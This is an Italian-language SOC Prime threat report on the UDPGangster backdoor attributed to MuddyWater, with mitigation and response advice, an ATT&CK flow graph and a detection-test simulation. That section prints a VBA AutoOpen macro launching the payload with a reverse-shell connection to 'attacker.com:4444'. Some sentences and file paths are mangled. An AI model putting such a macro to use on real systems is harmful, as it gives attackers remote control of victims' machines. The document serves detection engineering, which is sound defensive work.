SOC Prime Bias: Critico

08 Dic 2025 16:27

Attacchi UDPGangster si Diffondono in Diversi Paesi

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Attacchi UDPGangster si Diffondono in Diversi Paesi
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

UDPGangster è un backdoor basato su UDP sfruttato dal gruppo di minacce MuddyWater per controllare a distanza host Windows. Il compromesso iniziale avviene tramite un documento Word dannoso che utilizza macro VBA per estrarre e avviare il payload. Il malware esegue controlli anti-analisi estesi e mantiene la persistenza copiandosi nella directory AppData dell’utente e creando una chiave Run. Recenti campagne sono state osservate prendere di mira utenti in Turchia, Israele e Azerbaigian.

Indagine

I FortiGuard Labs hanno esaminato le email di phishing, la macro VBA incorporata, l’eseguibile estratto e le sue tecniche di persistenza. Hanno estratto indicatori come percorsi di file, voci di registro Run, nomi di mutex e infrastrutture C2 associate. Correlando indirizzi IP, domini e percorsi PDB, gli analisti hanno potuto collegare questa attività a operazioni precedenti del gruppo MuddyWater.

Mitigazione

I passaggi di mitigazione includono l’applicazione del blocco delle macro o la formazione robusta degli utenti per prevenire l’esecuzione delle macro, e la distribuzione di difese endpoint che osservano la scrittura di file sospetti in cartelle pubbliche o di profilo utente, oltre a modifiche alle chiavi di registro Run. I team di rete dovrebbero monitorare il traffico UDP anomalo sulla porta 1269 e bloccare gli indirizzi IP e i domini noti dannosi per interrompere i canali C2.

Risposta

Quando viene rilevata attività UDPGangster, isolare l’endpoint impattato, raccogliere memoria volatile e immagini del disco completo, e cercare il binario del backdoor e artefatti correlati. Bloccare l’infrastruttura C2 identificata, eseguire un’analisi forense approfondita per scoprire altri sistemi compromessi e aggiornare le firme di sicurezza per rilevare sia i documenti macro dannosi che il payload del backdoor.

graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Node definitions action_phishing[“<b>Azione</b> – <b>T1566.001 Allegato di Spearphishing</b>: Email con documento Word e file ZIP malevoli.”] class action_phishing action action_macro[“<b>Azione</b> – <b>T1059.005 Interprete di Comandi e Script VBA</b>: La macro Document_Open decodifica il payload Base64 in C:\\Users\\Public\\ui.txt.”] class action_macro action action_vba_stomping[“<b>Azione</b> – <b>T1564.007 Occultamento di Artefatti (VBA Stomping)</b>: Il binario malevolo è nascosto nella macro e si materializza in fase di esecuzione.”] class action_vba_stomping action action_obfuscation[“<b>Azione</b> – <b>T1027.004 Compilazione Dopo la Consegna</b>: Payload offuscato tramite codifica Base64 e tecniche di compilazione.”] class action_obfuscation action action_persistence_copy[“<b>Azione</b> – <b>T1547.014 Avvio Automatico all’Avvio o al Logon</b>: Copia la backdoor in %AppData%\\RoamingLow\\SystemProc.exe.”] class action_persistence_copy action action_registry_persistence[“<b>Azione</b> – <b>T1547.014 Chiave di Avvio del Registro</b>: Crea una voce di avvio in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell.”] class action_registry_persistence action action_anti_sandbox[“<b>Azione</b> – <b>T1497.002 Evasione di Sandbox di Virtualizzazione</b>: Esegue rilevamento del debugger, conteggio core CPU, dimensione RAM, prefisso MAC, stato del dominio, query WMI, scansioni del registro e controlli di DLL di sandbox note.”] class action_anti_sandbox action action_c2_udp[“<b>Azione</b> – <b>T1571 Porta Non Standard</b>: Comunica con il C2 tramite la porta UDP 1269.”] class action_c2_udp action action_raw_udp[“<b>Azione</b> – <b>T1095 Protocollo Non a Livello Applicativo</b>: Utilizza pacchetti UDP grezzi per il traffico.”] class action_raw_udp action action_data_encoding[“<b>Azione</b> – <b>T1132.002 Codifica Personalizzata</b>: Le informazioni di sistema sono codificate con una trasformazione di rotazione a destra prima dell’esfiltrazione.”] class action_data_encoding action malware_backdoor[“<b>Malware</b>: Backdoor binaria personalizzata”] class malware_backdoor malware process_c2[“<b>Processo</b>: Server C2 remoto”] class process_c2 process %% Connections showing attack flow action_phishing –>|delivers| action_macro action_macro –>|materializes| action_vba_stomping action_vba_stomping –>|obfuscates| action_obfuscation action_obfuscation –>|copies to AppData| action_persistence_copy action_persistence_copy –>|creates run key| action_registry_persistence action_registry_persistence –>|enables| malware_backdoor action_vba_stomping –>|executes| action_anti_sandbox action_anti_sandbox –>|if passes| action_c2_udp action_c2_udp –>|uses| action_raw_udp action_raw_udp –>|sends encoded data| action_data_encoding action_data_encoding –>|to| process_c2 process_c2 –>|controls| malware_backdoor

Flusso degli Attacchi

Esecuzione della Simulazione

Pre-requisito: Il Controllo Pre-voli di Telemetria & Baseline deve essere superato.

Scopo: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione & Comandi Attacco:
    Un attaccante consegna un documento Word dannoso contenente una macro VBA. La macro chiama l’API di WindowsCreateProcessAper generarecmd.exee eseguire il payload UDPGangster (udp_gangster.exe). Il payload stabilisce una reverse shell al server C2 dell’attaccante. Poiché la macro passa esplicitamente la stringa “CreateProcessA” e il letterale nel comando, la regola di rilevamento corrisponderà.cmd.exe in the command line, the detection rule will match.

    1. Macro VBA (semplificata)– dimostra la chiamata API:

      Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
          (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
           ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
           ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
           ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
           ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
      
      Sub AutoOpen()
          Dim cmdLine As String
          cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
          Dim si As STARTUPINFO
          Dim pi As PROCESS_INFORMATION
          Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
      End Sub
    2. Distribuire la macro, aprire il documento e lasciare che la macro esegua. L’evento di creazione del processo risultante conterrà:

      CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
  • Script di Test di Regressione:Il seguente script PowerShell riproduce esattamente la telemetria senza richiedere un documento Word. Chiama l’API Win32 nativaCreateProcessAviaAdd-Type.

    # Test di regressione: chiamata diretta CreateProcessA con cmd.exe
    $source = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class NativeMethods {
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public int cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
    }
    "@
    
    Add-Type $source
    
    $si = New-Object NativeMethods+STARTUPINFO
    $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
    $pi = New-Object NativeMethods+PROCESS_INFORMATION
    
    $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
    
    $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $result) {
        Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    } else {
        Write-Host "CreateProcessA succeeded, command line logged."
    }
  • Comandi di Pulizia:Rimuovere l’artefatto creato durante la simulazione.

    # Rimuovere il file di log temporaneo generato dalla simulazione
    Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue